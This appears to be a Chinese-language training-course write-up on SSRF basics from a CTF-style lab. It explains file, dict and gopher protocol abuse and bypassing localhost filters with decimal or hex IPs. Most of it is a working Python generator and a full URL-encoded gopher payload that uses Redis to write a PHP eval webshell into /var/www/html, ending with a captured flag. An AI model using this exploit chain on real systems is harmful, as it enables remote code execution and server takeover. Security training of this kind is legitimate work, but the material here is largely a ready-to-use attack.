零号培训平台课程-2、SSRF基础
漏洞原理:
协议利用 • File协议 • 本地文件传输协议 • 任意文件读取 • Dict协议 • 字典服务器协议 • 操作Redis • Gopher协议 • 分布型的文件搜集获取网络协议。 • 支持多行 • 操作Redis、Memcached、fastcgi、mysql等
输入: Dict://127.0.0.1:6379/info
本地IP地址被过滤: 绕过的方法有多种,1、把IP地址转换成10进制、16进制
输入: dict://2130706433:6379/info
dict://0x7F000001:6379/info
Python代码生成gopher协议报文写入webshell
#/usr/bin/python import urllib protocol="gopher://" # redis所在服务器的IP,10进制IP:127.0.0.1 ip="2130706433" port="6379" # php代码,POST方式提交、GET方式提交 shell=" <?php eval($_POST["cmd"]);?> " filename="shell.php" # web服务所在目录 path="/var/www/html" passwd="" cmd=["flushall", "set 1 {}".format(shell.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ] if passwd: cmd.insert(0,"AUTH {}".format(passwd)) payload=protocol+ip+":"+port+"/_" def redis_format(arr): CRLF=" " redis_arr = arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ") cmd+=CRLF return cmd if __name__=="__main__": for x in cmd: payload += urllib.parse.quote(redis_format(x)) print(payload)
通过gopher协议向本地127.0.0.1的web目录/var/www/html下写入一句话木马webshell: gopher://2130706433:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%22cmd%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
连接目标webshell
找到写入的shell.php和flag
Flag:ea56f7b7ac613b8ca0e6ebb54b66eb91